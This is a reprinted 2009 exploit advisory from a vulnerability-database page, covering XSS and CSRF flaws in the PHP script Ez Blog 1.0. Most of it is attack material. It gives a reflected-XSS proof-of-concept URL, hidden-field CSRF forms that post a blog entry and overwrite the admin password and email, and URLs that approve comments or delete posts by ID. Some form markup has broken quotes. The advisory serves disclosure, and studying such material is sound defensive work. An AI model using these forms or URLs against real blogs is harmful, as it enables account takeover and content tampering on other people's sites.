Lucene search
K

Ez Blog 1.0 - Cross-Site Scripting Cross-Site Request Forgery

🗓️ 15 Dec 2009 00:00:00Reported by Milos ZivanovicType 
exploitpack
 exploitpack
👁 13 Views

Ez Blog 1.0 PHP platform has multiple vulnerabilities including XSS and XSRF in both front end and admin panel. Vulnerabilities allow attackers to manipulate blog content, admin info, and execute unauthorized actions

Code
[#-----------------------------------------------------------------------------------------------#]
[#] Title: Ez Blog (XSS/XSRF) Multiple Vulnerabilities
[#] Author: Milos Zivanovic
[#] Email: milosz.security[at]gmail.com
[#] Date: 15. December 2009.
[#-----------------------------------------------------------------------------------------------#]
[#] Application: Ez Blog
[#] Version: 1.0
[#] Platform: PHP
[#] Link: link:http://www.scriptsez.net/?action=details&cat=Content%20Management&id=2579678051
[#] Price: 15 USD
[#] Vulnerability: XSS And Multiple XSRF Vulnerabilities
[#-----------------------------------------------------------------------------------------------#]

[#]Content
 |--XSS in front end
 |--Admin panel
    |--Add blog
    |--Approve comment by id
    |--Change admin info
    |--Remove blog by id

[-]XSS in front end
[POC----------------------------------------------------------------------------------------------]
http://localhost/ez_blog/index.php?act=bmonth&m=12&yr=[XSS]
http://localhost/ez_blog/index.php?act=bmonth&m=12&yr=
[POC----------------------------------------------------------------------------------------------]

[#]Admin panel

[-]Add blog

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/ez_blog/admin.php?action=add_blog" method="post">
  <input type="hidden" name="title" value="blog title">
  <input type="hidden" name="content" value="this is my content">
  <input type="hidden" name="category" value="General">
  <input type="hidden" name="send" value="true">
  <input type="submit" name="submit" value=" Add Blog ">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[-]Approve comment by id

[POC----------------------------------------------------------------------------------------------]
http://localhost/ez_blog/admin.php?action=approve_comment&id=[ID]&do=add
[POC----------------------------------------------------------------------------------------------]

[*]Change admin info

[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/ez_blog/admin.php?action=admin_opt"
method="post">
  <input type="hidden" name="login_id" value="admin">
  <input type="hidden" name="admin_password' value="hacked">
  <input type="hidden" name="admin_email' value="[email protected]">
  <input type="hidden" name="blogger' value="Administrator">
  <input type="hidden" name="auto value="Yes">
  <input type="hidden" name="add value="true">
  <input type="submit" name="submit" value=" CHANGE ">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]

[-]Remove blog by id:
[POC----------------------------------------------------------------------------------------------]
http://localhost/ez_blog/admin.php?action=delete&id=[ID]
[POC----------------------------------------------------------------------------------------------]

[#]EOF

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation